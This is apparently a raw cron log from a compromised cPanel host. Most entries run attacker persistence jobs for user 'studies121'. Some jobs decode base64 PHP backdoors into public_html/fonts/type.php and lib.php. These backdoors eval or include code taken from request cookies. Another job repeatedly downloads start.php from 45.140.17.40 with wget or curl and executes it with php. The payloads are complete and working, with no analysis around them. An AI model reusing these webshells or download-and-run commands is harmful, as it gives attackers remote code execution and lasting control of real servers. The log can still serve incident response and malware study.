Sep 12 02:41:01 ip-184-168-122-23 CROND[11779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:41:01 ip-184-168-122-23 CROND[11781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:42:01 ip-184-168-122-23 CROND[11916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:42:01 ip-184-168-122-23 CROND[11918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:42:01 ip-184-168-122-23 CROND[11919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:42:01 ip-184-168-122-23 CROND[11921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:42:01 ip-184-168-122-23 CROND[11922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:43:01 ip-184-168-122-23 CROND[12093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:43:01 ip-184-168-122-23 CROND[12094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:43:01 ip-184-168-122-23 CROND[12097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:43:01 ip-184-168-122-23 CROND[12096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:44:01 ip-184-168-122-23 CROND[12183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:44:01 ip-184-168-122-23 CROND[12187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:44:01 ip-184-168-122-23 CROND[12185]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:44:01 ip-184-168-122-23 CROND[12186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:44:01 ip-184-168-122-23 CROND[12188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:45:01 ip-184-168-122-23 CROND[12278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:45:01 ip-184-168-122-23 CROND[12283]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:45:01 ip-184-168-122-23 CROND[12280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:45:01 ip-184-168-122-23 CROND[12282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:45:01 ip-184-168-122-23 CROND[12281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:45:01 ip-184-168-122-23 CROND[12285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:46:02 ip-184-168-122-23 CROND[12405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:46:02 ip-184-168-122-23 CROND[12407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:46:02 ip-184-168-122-23 CROND[12406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:46:02 ip-184-168-122-23 CROND[12408]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:46:02 ip-184-168-122-23 CROND[12409]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 02:46:02 ip-184-168-122-23 CROND[12410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:46:02 ip-184-168-122-23 CROND[12411]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 02:47:01 ip-184-168-122-23 CROND[12515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:47:01 ip-184-168-122-23 CROND[12517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:47:01 ip-184-168-122-23 CROND[12519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:47:01 ip-184-168-122-23 CROND[12518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:48:01 ip-184-168-122-23 CROND[12690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:48:01 ip-184-168-122-23 CROND[12687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:48:01 ip-184-168-122-23 CROND[12688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:48:01 ip-184-168-122-23 CROND[12691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:48:01 ip-184-168-122-23 CROND[12689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:49:01 ip-184-168-122-23 CROND[12785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:49:01 ip-184-168-122-23 CROND[12783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:49:01 ip-184-168-122-23 CROND[12784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:49:01 ip-184-168-122-23 CROND[12786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:50:01 ip-184-168-122-23 CROND[13055]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:50:01 ip-184-168-122-23 CROND[13058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:50:01 ip-184-168-122-23 CROND[13060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:50:01 ip-184-168-122-23 CROND[13059]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:50:01 ip-184-168-122-23 CROND[13062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:50:01 ip-184-168-122-23 CROND[13061]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 02:50:01 ip-184-168-122-23 CROND[13063]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:50:01 ip-184-168-122-23 CROND[13057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:50:01 ip-184-168-122-23 CROND[13056]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 02:51:01 ip-184-168-122-23 CROND[13189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:51:01 ip-184-168-122-23 CROND[13190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:51:01 ip-184-168-122-23 CROND[13194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:51:01 ip-184-168-122-23 CROND[13197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:52:01 ip-184-168-122-23 CROND[13285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:52:01 ip-184-168-122-23 CROND[13287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:52:01 ip-184-168-122-23 CROND[13288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:52:01 ip-184-168-122-23 CROND[13291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:52:01 ip-184-168-122-23 CROND[13290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:53:01 ip-184-168-122-23 CROND[13461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:53:01 ip-184-168-122-23 CROND[13462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:53:01 ip-184-168-122-23 CROND[13463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
